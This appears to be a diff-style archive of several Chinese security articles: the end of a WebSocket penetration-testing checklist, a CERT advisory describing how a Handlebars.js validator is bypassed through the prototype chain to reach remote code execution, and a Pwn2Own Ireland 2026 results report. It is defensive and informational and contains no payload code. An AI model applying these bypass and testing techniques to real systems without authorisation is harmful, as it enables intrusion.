1. 尝试将载荷改成 XSS Polyglot（多态），绕过各种过滤规则
|
||||
|
||||
几个真实案例：GitHub SecurityLab 披露过 WebSocket XSS 导致 RCE 的链子；HackerOne 上有报告 ID #409850 就是 WebSocket 消息被前端渲染后触发 DOM XSS。
|
||||
## 四、敏感信息泄漏：WS 流量里的宝藏
|
||||
|
||||
WebSocket 是全双工的——不像 HTTP 一次请求一次响应，WS 连接一建立，前后端持续交换数据。测试时把所有 WebSocket 消息里的内容逐条看一遍，重点找：
|
||||
- Token、Session ID 是否明文携带
|
||||
|
||||
- 用户 ID、房间 ID 等内部标识是否可枚举
|
||||
|
||||
- 后端返回的错误堆栈（Stack Trace）是否暴露数据库结构
|
||||
|
||||
- WebSocket Sec-WebSocket-Protocol
|
||||
头有没有放 API Key
|
||||
|
||||
这个动作和日常 HTTP 渗透里扫响应体的逻辑完全一样，区别在于 WS 是持续流，消息量大、粒度细，容易漏。
|
||||
## 五、综合检查清单
|
||||
|
||||
把前三篇的攻击面归总，做渗透测试时按顺序走：
|
||||
- WS:// 是否明文传输 → 抓包确认，降级测试
|
||||
|
||||
- WebSocket 消息里的 ID/Token 能否篡改 → IDOR 测试
|
||||
|
||||
- WebSocket 参数有没有做 SQL/命令注入校验 → Fuzz 注入
|
||||
|
||||
- 消息是否回显到前端 → XSS payload 测试
|
||||
|
||||
- 连接数是否有限流 → 洪泛 DoS 测试
|
||||
|
||||
- Sec-WebSocket-Key
|
||||
随机性 → 密钥强度检验
|
||||
|
||||
**WebSocket 三部曲到此收尾。下一篇进入原型链污染（Prototype Pollution）——这个漏洞既影响 JavaScript 对象原型，又能通过 JSON 接口从 HTTP 打到 NoSQL，是渗透测试里"一个 payload 穿两层"的经典玩法。**
|
||||
## 素材出处
|
||||
- 原文：harsh-bothra/learn365 day15
|
||||
|
||||
- PortSwigger WebSocket 安全实验室：https://portswigger.net/web-security/websockets
|
||||
|
||||
- HackerOne 相关报告：#178990 / #409850 / #395729 / #163464 / #512065 / #1023669 / #86283
|
||||
|
||||
- GitHub SecurityLab：#65 WebSocket XSS → RCE 链
|
||||
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650621549&idx=1&sn=21c4b072726d2387d562109ada6b9bbb&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650621944&idx=1&sn=3cc6dc9876a20466d4ec3634deb80220&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650622065&idx=1&sn=09f8ae84c06d4331e71c277b177ae701&scene=21#wechat_redirect)
|
||||
> 👇 点击**阅读原文**
|
||||
，访问我的网站
|
||||
|
||||
|
||||
+159
@@ -0,0 +1,159 @@
|
||||
# 【原创发现】Handlebars.js validateAstNode 原型链绕过远程代码执行漏洞(CVE-2026-106446)安全风险通告
|
||||
奇安信 CERT 2026-10-09 03:20
|
||||
|
||||
●
|
||||
点击↑蓝字关注我们，获取更多安全风险通告
|
||||
|
||||
|
||||
<table><tbody><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><td colspan="4" data-colwidth="136,157,166,98" valign="middle" align="center" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;box-sizing: border-box !important;background-color: rgb(70, 118, 217);visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;line-height: 1.5em;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);letter-spacing: 0px;visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;letter-spacing: 0px;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">漏洞概述</span></span></strong></span></p></td></tr><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><td data-colwidth="136" width="136" valign="middle" align="left" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;box-sizing: border-box !important;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;line-height: 1em;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;letter-spacing: 0px;visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0px;font-family: 微软雅黑, "Microsoft YaHei";visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">漏洞名称</span></span></strong></span></p></td><td colspan="3" data-colwidth="157,166,98" valign="middle" align="left" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;box-sizing: border-box !important;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;line-height: 1em;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;caret-color: red;letter-spacing: 0px;visibility: visible;"><span leaf="">Handlebars.js validateAstNode 原型链绕过远程代码执行漏洞</span></span></p></td></tr><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><td data-colwidth="136" width="136" valign="middle" align="left" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;box-sizing: borderLine truncated
|
||||
|
||||
|
||||
**0****1**
|
||||
|
||||
**漏洞详情**
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**影响组件**
|
||||
|
||||
Handlebars 是一款广泛使用的开源 JavaScript 语义模板引擎，支持服务端（Node.js）与浏览器端渲染，被大量 Web 应用、报表 / 邮件 / 通知模板系统所引用。
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
近日，奇安信CERT监测到
|
||||
Handlebars.js validateAstNode 原型链绕过远程代码执行漏洞(CVE-2026-106446)，该漏洞源于4.7.9 为修复 CVE-2026-33937（AST 类型混淆导致 JavaScript 注入）而引入 validateAstNode。但该校验器仅遍历节点的自有可枚举属性（`Object.keys`），而代码生成器使用普通属性访问，会沿原型链读取字段。攻击者将整个恶意 Program AST 挂载到传入 compile() 的对象的原型上，即可令校验器看到“空对象”而跳过，编译器却照常读取并执行恶意字段。
|
||||
目前该漏洞PoC与技术细节已公开。
|
||||
鉴于该漏洞影响范围较大，建议客户尽快做好自查及防护。
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**利用条件**
|
||||
|
||||
目标应用将攻击者可控对象经 Object.assign / Object.create / 深合并后传入 Handlebars.compile() / precompile()。
|
||||
|
||||
|
||||
**02**
|
||||
|
||||
**影响范围**
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**影响版本**
|
||||
|
||||
4.0.0 <= handlebars.js <= 4.7.9
|
||||
Handlebars.js <= 4.7.8 受 CVE-2026-33937 直接形态影响
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**其他受影响组件**
|
||||
|
||||
存在 Object.assign({}, userJson)、Object.create(userObj)、lodash.merge / defaultsDeep 等合并用户输入后再 compile 的应用。
|
||||
|
||||
|
||||
|
||||
**03**
|
||||
|
||||
**复现情况**
|
||||
|
||||
目前，
|
||||
奇安信CERT已成功复现
|
||||
Handlebars.js validateAstNode 原型链绕过远程代码执行漏洞(CVE-2026-106446)
|
||||
，截图如下：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**处置建议**
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**安全更新**
|
||||
|
||||
目前官方已有可更新版本，建议受影响用户升级至最新版本：
|
||||
Handlebars.js >= 4.7.10
|
||||
|
||||
官方下载地址：
|
||||
|
||||
https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.10
|
||||
|
||||
临时缓解措施：
|
||||
|
||||
1. 入口拒绝非字符串；
|
||||
|
||||
2. 上游修复方向：在 validateAstNode 中拒绝原型非 Object.prototype / null 的节点，使“校验遍历”与“编译器读取”一致：
|
||||
|
||||
3. 避免原型污染：禁止对用户 JSON 使用 Object.assign / 深合并；JSON.parse 结果直接传递前做白名单校验。
|
||||
|
||||
4. 架构措施：使用 handlebars/runtime + 预编译产物，移除运行时 compile。
|
||||
|
||||
|
||||
|
||||
**05**
|
||||
|
||||
**参考资料**
|
||||
|
||||
[1]https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-8r5x-fm3f-whwj
|
||||
|
||||
|
||||
|
||||
**06**
|
||||
|
||||
**时间线**
|
||||
|
||||
2026年10月09日，奇安信 CERT发布安全风险通告。
|
||||
|
||||
|
||||
|
||||
**07**
|
||||
|
||||
**漏洞情报服务**
|
||||
|
||||
「
|
||||
奇安信漏洞情报平台
|
||||
」
|
||||
重磅上线，诚邀您来体验：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**奇安信 CERT**
|
||||
|
||||
**致力于**
|
||||
第一时间为企业级用户提供**权威**
|
||||
漏洞情报和**有效**
|
||||
解决方案。
|
||||
|
||||
|
||||
|
||||
点击↓**阅读原文**
|
||||
，到**ALPHA威胁分析平台**
|
||||
订阅更多漏洞信息。
|
||||
|
||||
@@ -0,0 +1,731 @@
|
||||
# 【安全资讯】Pwn2Own Ireland 2026 落幕：漏洞碰撞频发
|
||||
原创 360漏洞研究院
|
||||
360漏洞研究院 360漏洞研究院 2026-10-09 04:32
|
||||
|
||||
2026年Pwn2Own爱尔兰站（Pwn2Own Ireland 2026）于10月6日至8日在爱尔兰科克举行。赛事覆盖智能手机、AI基础设施、智能家居等多个领域，三星Galaxy S26、Google Pixel 10、OpenAI Codex等多个目标被成功攻破。
|
||||
|
||||
|
||||
**大赛亮点**
|
||||
- 三星Galaxy S26三天累计遭遇7次成功利用
|
||||
|
||||
- Google Pixel 10第三天三次被成功攻破，合计颁发562,500美元奖金
|
||||
|
||||
- OpenAI Codex、Oracle Autonomous AI Database、NVIDIA Dynamo及LiteLLM等AI相关目标接连被攻破
|
||||
|
||||
- Philips Hue Bridge Pro、Sonos Era 300等智能家居设备被成功攻破
|
||||
|
||||
- Team MAMMOTH通过6个零日漏洞组成的攻击链攻破Home Assistant Green
|
||||
|
||||
**奖金情况**
|
||||
|
||||
第一天：$388,500（32 个独特 0day）
|
||||
|
||||
第二天：多项奖金已公布，官方当日汇总待确认
|
||||
|
||||
第三天：多项奖金已公布，官方当日汇总待确认
|
||||
|
||||
总计：待 ZDI 官方公布
|
||||
|
||||
**🏆 Master of Pwn总冠军：**
|
||||
Ikotas Labs, Inc.
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
**第一天战报（10月6日）：三星Galaxy S26、OpenAI Codex与Oracle AI数据库成为重点攻击目标**
|
||||
|
||||
|
||||
💰 当日奖金：$388,500 | 独特零日漏洞：32个 | 参赛项目：21项
|
||||
|
||||
|
||||
**📱 智能手机项目**
|
||||
|
||||
⚠️ Nguyen Thanh Dat (Viettel Cyber Security)
|
||||
|
||||
攻击目标：Samsung Galaxy S26 – Remote
|
||||
|
||||
漏洞类型：组合4个漏洞，其中3个已被厂商知晓
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$31,250 | 3.25分
|
||||
|
||||
⚠️ Interrupt Labs
|
||||
|
||||
攻击目标：Samsung Galaxy S26 – Remote
|
||||
|
||||
漏洞类型：4个漏洞组合，包括1个独特零日漏洞和3个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$15,750 | 3.25分
|
||||
|
||||
⚠️ Ikotas Labs, Inc.
|
||||
|
||||
攻击目标：Samsung Galaxy S26 – Remote
|
||||
|
||||
漏洞类型：组合4个漏洞，其中1个已被厂商知晓但尚未修复
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$11,000 | 4.5分
|
||||
|
||||
❌ Mikhail Evdokimov, Polina Smirnova, Mate Zombor (White Noise Club)
|
||||
|
||||
攻击目标：Google Pixel 10 – Remote
|
||||
|
||||
战绩：**失败**
|
||||
（未能在规定时间内完成漏洞利用）
|
||||
|
||||
|
||||
**🤖 AI工具链 / 编码助手 / AI基础设施项目**
|
||||
|
||||
✅ Taisic Yun (Xint)
|
||||
|
||||
攻击目标：LiteLLM
|
||||
|
||||
漏洞类型：输入验证不当与代码注入组合
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$40,000 | 4分
|
||||
|
||||
⚠️ HaeJung Yang, ByungYoung Yi (Out of Bounds)
|
||||
|
||||
攻击目标：LiteLLM
|
||||
|
||||
漏洞类型：组合4个漏洞，其中2个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$15,000 | 3分
|
||||
|
||||
✅ Nam Nguyen, Thanh Vu, Tin Huynh (VinSOC)
|
||||
|
||||
攻击目标：Oracle Autonomous AI Database
|
||||
|
||||
漏洞类型：5个漏洞链式组合
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$40,000 | 4分
|
||||
|
||||
✅ Ikotas Labs, Inc.
|
||||
|
||||
攻击目标：OpenAI Codex
|
||||
|
||||
漏洞类型：参数注入
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$40,000 | 4分
|
||||
|
||||
❌ Nam Nguyen, Thai Son Dinh, Hoang Tien Minh (VinSOC)
|
||||
|
||||
攻击目标：Chroma
|
||||
|
||||
战绩：
|
||||
**失败**
|
||||
（未能在规定时间内完成漏洞利用）
|
||||
|
||||
|
||||
**🏠 智能家居项目**
|
||||
|
||||
✅ @_McCaulay
|
||||
|
||||
攻击目标：Sonos Era 300
|
||||
|
||||
漏洞类型：越界写入与格式化字符串漏洞组合
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$50,000 | 5分
|
||||
|
||||
⚠️ linhlhq, Son Dinh (VinSOC)
|
||||
|
||||
攻击目标：Sonos Era 300
|
||||
|
||||
漏洞类型：组合2个漏洞，其中1个已公开漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$17,500 | 3.5分
|
||||
|
||||
✅ Vũ Chí Thành, Huỳnh Đức Tin (VinSOC)
|
||||
|
||||
攻击目标：Philips Hue Bridge Pro
|
||||
|
||||
漏洞类型：7个独特零日漏洞组合利用
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$40,000 | 4分
|
||||
|
||||
⚠️ ByungYoung Yi, KeunHo Kim (Out of Bounds)
|
||||
|
||||
攻击目标：Philips Hue Bridge Pro
|
||||
|
||||
漏洞类型：组合5个漏洞，其中4个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$12,000 | 2.5分
|
||||
|
||||
⚠️ Joohyun Park (Xint)
|
||||
|
||||
攻击目标：Philips Hue Bridge Pro
|
||||
|
||||
漏洞类型：组合5个漏洞，其中4个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$6,000 | 2.5分
|
||||
|
||||
|
||||
**🖨️ 打印设备项目**
|
||||
|
||||
✅ Thanh Do (Team Confused)
|
||||
|
||||
攻击目标：Lexmark CX532adwe
|
||||
|
||||
漏洞类型：释放后重用漏洞
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$20,000 | 2分
|
||||
|
||||
✅ Sina Kheirkhah (Summoning Team)
|
||||
|
||||
攻击目标：Lexmark CX532adwe
|
||||
|
||||
漏洞类型：单个漏洞
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$10,000 | 2分
|
||||
|
||||
❌ Ikotas Labs, Inc.
|
||||
|
||||
攻击目标：Brother MFC-L8970CDW
|
||||
|
||||
战绩：
|
||||
**失败**
|
||||
（未能在规定时间内完成漏洞利用）
|
||||
|
||||
❌ Hyeop Jung, Hyunwoo Kim, Jinyoung Choi, Jihun Lee (Team T-X Lab)
|
||||
|
||||
攻击目标：Lexmark CX532adwe
|
||||
|
||||
战绩：
|
||||
**失败**
|
||||
（未能在规定时间内完成漏洞利用）
|
||||
|
||||
|
||||
**⌚ 健康设备项目**
|
||||
|
||||
✅ Interrupt Labs
|
||||
|
||||
攻击目标：Garmin Index BPM
|
||||
|
||||
漏洞类型：越界读取与越界写入组合
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$20,000 | 2分
|
||||
|
||||
❌ Aaron Christophel (Summoning Team)
|
||||
|
||||
攻击目标：Garmin Index BPM
|
||||
|
||||
战绩：
|
||||
**失败**
|
||||
（未能在规定时间内完成漏洞利用）
|
||||
|
||||
|
||||
**02**
|
||||
|
||||
**第二天战报（10月7日）：NVIDIA Dynamo与Oracle AI数据库接连被攻破，三星Galaxy S26再遭成功利用**
|
||||
|
||||
|
||||
当日奖金：官方汇总待确认 | 发现漏洞：官方汇总待确认 | 计划尝试次数：24次
|
||||
|
||||
|
||||
**📱 智能手机项目**
|
||||
|
||||
✅ Dimitrios Valsamaras, Ken Gannon, Tenia Valsamara (Mobile Hacking Lab / CENSUS Labs相关研究人员)
|
||||
|
||||
攻击目标：Samsung Galaxy S26 – Remote
|
||||
|
||||
漏洞类型：混淆代理漏洞
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：官方赛果未列明
|
||||
|
||||
⚠️ Kyeongmin Kim (KAIST Hacking Lab)
|
||||
|
||||
攻击目标：Samsung Galaxy S26 – Remote
|
||||
|
||||
漏洞类型：组合3个漏洞，其中1个独特零日漏洞和2个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$8,500 | 3.5分
|
||||
|
||||
⚠️ PetoWorks
|
||||
|
||||
攻击目标：Samsung Galaxy S26 – Remote
|
||||
|
||||
漏洞类型：3个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$6,250 | 2.5分
|
||||
|
||||
|
||||
**🤖 AI基础设施 / AI数据库项目**
|
||||
|
||||
✅ HaeJung Yang (Out of Bounds)
|
||||
|
||||
攻击目标：NVIDIA Dynamo
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$40,000 | 4分
|
||||
|
||||
⚠️ Taisic Yun (Xint)
|
||||
|
||||
攻击目标：Oracle Autonomous AI Database
|
||||
|
||||
漏洞类型：组合5个漏洞，其中2个独特零日漏洞和3个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$14,000 | 3分
|
||||
|
||||
✅ Ikotas Labs, Inc.
|
||||
|
||||
攻击目标：Oracle Autonomous AI Database
|
||||
|
||||
漏洞类型：7个漏洞链式组合，攻击链末端涉及释放后重用漏洞、类型混淆漏洞
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$10,000 | 4分
|
||||
|
||||
⚠️ Mingeun Kim, Chulhan Park, SeokHun Lee, Inhyung Lee, Sehyun Baek, Nayeon Lee, Junseok Kim (Team MAMMOTH)
|
||||
|
||||
攻击目标：Chroma
|
||||
|
||||
漏洞类型：组合3个漏洞，其中1个独特零日漏洞和2个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$12,000 | 1.25分
|
||||
|
||||
⚠️ Alessandro Fanio Gonzalez
|
||||
|
||||
攻击目标：Chroma
|
||||
|
||||
漏洞类型：组合2个N-day漏洞及1个漏洞碰撞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$4,500 | 1分
|
||||
|
||||
❌ Eugene (k3vg3n)
|
||||
|
||||
攻击目标：Chroma
|
||||
|
||||
战绩：
|
||||
**失败**
|
||||
（未能在规定时间内完成漏洞利用）
|
||||
|
||||
|
||||
**🏠 智能家居项目**
|
||||
|
||||
✅ Yves Bieri (Xint)
|
||||
|
||||
攻击目标：Home Assistant Green
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$30,000 | 3分
|
||||
|
||||
⚠️ Yassine Bengana, Maxence Schmitt (Doyensec)
|
||||
|
||||
攻击目标：Home Assistant Green
|
||||
|
||||
漏洞类型：组合3个漏洞，均为碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$7,500 | 1.5分
|
||||
|
||||
⚠️ PetoWorks
|
||||
|
||||
攻击目标：Home Assistant Green
|
||||
|
||||
漏洞类型：组合5个漏洞，其中3个独特漏洞和2个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$12,000 | 2.5分
|
||||
|
||||
⚠️ Kyeongmin Kim (KAIST Hacking Lab)
|
||||
|
||||
攻击目标：Home Assistant Green
|
||||
|
||||
漏洞类型：组合4个漏洞，其中1个独特零日漏洞和3个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$4,750 | 2分
|
||||
|
||||
⚠️ @_McCaulay
|
||||
|
||||
攻击目标：Home Assistant Green
|
||||
|
||||
漏洞类型：组合6个漏洞，其中5个独特零日漏洞和1个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$7,000 | 2.75分
|
||||
|
||||
⚠️ Jack Dates (RET2 Systems)
|
||||
|
||||
攻击目标：Sonos Era 300
|
||||
|
||||
漏洞类型：组合2个漏洞，其中1个独特零日漏洞和1个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$9,500 | 3.75分
|
||||
|
||||
⚠️ Nguyen Thanh Dat, dungnm (Viettel Cyber Security)
|
||||
|
||||
攻击目标：Sonos Era 300
|
||||
|
||||
漏洞类型：组合3个漏洞，其中2个独特零日漏洞和1个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$10,500 | 4.25分
|
||||
|
||||
✅ Sina Kheirkhah (Summoning Team)
|
||||
|
||||
攻击目标：Sonos Era 300
|
||||
|
||||
漏洞类型：组合2个漏洞
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$12,500 | 5分
|
||||
|
||||
❌ Shio Kudo (GMO Flatt Security)
|
||||
|
||||
攻击目标：Home Assistant Green
|
||||
|
||||
战绩：
|
||||
**失败**
|
||||
|
||||
|
||||
**🖨️ 打印设备项目**
|
||||
|
||||
✅ @_McCaulay
|
||||
|
||||
攻击目标：Canon imageFORCE 1643F
|
||||
|
||||
漏洞类型：组合3个漏洞，包括硬编码凭据、关键功能缺少身份验证和命令注入
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$10,000 | 2分
|
||||
|
||||
✅ Interrupt Labs
|
||||
|
||||
攻击目标：Lexmark CX532adwe
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$5,000 | 2分
|
||||
|
||||
✅ Rick de Jager, Filippo Cremonese (Zellic / v12sec)
|
||||
|
||||
攻击目标：Lexmark CX532adwe
|
||||
|
||||
战绩：
|
||||
**成功**
|
||||
|
||||
奖金与积分：$5,000 | 2分
|
||||
|
||||
⚠️ @BoredPentester
|
||||
|
||||
攻击目标：Lexmark CX532adwe
|
||||
|
||||
漏洞类型：组合3个漏洞，其中2个独特漏洞和1个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$4,250 | 1.25分
|
||||
|
||||
❌ Thanh Do (Team Confused)
|
||||
|
||||
攻击目标：Brother MFC-L8970CDW
|
||||
|
||||
战绩：
|
||||
**失败**
|
||||
|
||||
|
||||
**⌚ 健康设备项目**
|
||||
|
||||
⚠️ @_McCaulay
|
||||
|
||||
攻击目标：Garmin Index BPM
|
||||
|
||||
漏洞类型：组合2个漏洞，其中1个独特漏洞和1个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$6,750 | 1.5分
|
||||
|
||||
|
||||
**03**
|
||||
|
||||
**第三天战报（10月8日）：Google Pixel 10三次被成功攻破，Ikotas Labs斩获30万美元夺冠**
|
||||
|
||||
|
||||
💰 当日奖金：官方未公布汇总 | 发现漏洞：官方未公布汇总 | 计划尝试次数：17次
|
||||
|
||||
|
||||
**📱 智能手机项目**
|
||||
|
||||
⚠️ Tim Becker, Yves Bieri (Xint)
|
||||
|
||||
攻击目标：Google Pixel 10 – Remote
|
||||
|
||||
漏洞类型：单个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$150,000 | 15分
|
||||
|
||||
⚠️ Ikotas Labs, Inc.
|
||||
|
||||
攻击目标：Google Pixel 10 – Remote
|
||||
|
||||
漏洞类型：多个漏洞组合利用
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$300,000 | 30分
|
||||
|
||||
特别战绩：夺得Master of Pwn总冠军
|
||||
|
||||
⚠️ BunkyoWesterns
|
||||
|
||||
攻击目标：Samsung Galaxy S26 – Remote
|
||||
|
||||
漏洞类型：组合2个漏洞，包括1个独特漏洞和1个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$8,250 | 3.75分
|
||||
|
||||
⚠️ Dimitrios Valsamaras, Ken Gannon, Tenia Valsamara (Mobile Hacking Lab / CENSUS Labs)
|
||||
|
||||
攻击目标：Google Pixel 10 – Remote
|
||||
|
||||
漏洞类型：组合2个漏洞，包括1个独特零日漏洞和1个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$112,500 | 22.5分
|
||||
|
||||
|
||||
**🤖 AI工具链 / 编码助手 / AI基础设施项目**
|
||||
|
||||
⚠️ Nikolaos Mourousias, Bruno Halltari (OtterSec)
|
||||
|
||||
攻击目标：Oracle Autonomous AI Database
|
||||
|
||||
漏洞类型：组合4个漏洞，包括1个独特零日漏洞和3个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$6,250 | 2.5分
|
||||
|
||||
⚠️ Connor Laidlaw, Matthew Keeley (Platform Security)
|
||||
|
||||
攻击目标：Oracle Autonomous AI Database
|
||||
|
||||
漏洞类型：组合5个漏洞，包括1个独特漏洞和4个碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$6,000 | 2.5分
|
||||
|
||||
|
||||
**🏠 智能家居项目**
|
||||
|
||||
⚠️ Sina Kheirkhah, Aaron Christophel (Summoning Team)
|
||||
|
||||
攻击目标：Philips Hue Bridge Pro
|
||||
|
||||
漏洞类型：组合5个漏洞，全部为碰撞漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$5,000 | 2.5分
|
||||
|
||||
⚠️ Ben Koo, Evangelos Daravigkas (Team DDOS)
|
||||
|
||||
攻击目标：Home Assistant Green
|
||||
|
||||
漏洞类型：组合5个漏洞，其中包含1个零日漏洞
|
||||
|
||||
战绩：**成功 + 撞洞**
|
||||
|
||||
奖金与积分：$4,500 | 2分
|
||||
|
||||
⚠️ @_McCaulay
|
||||
|
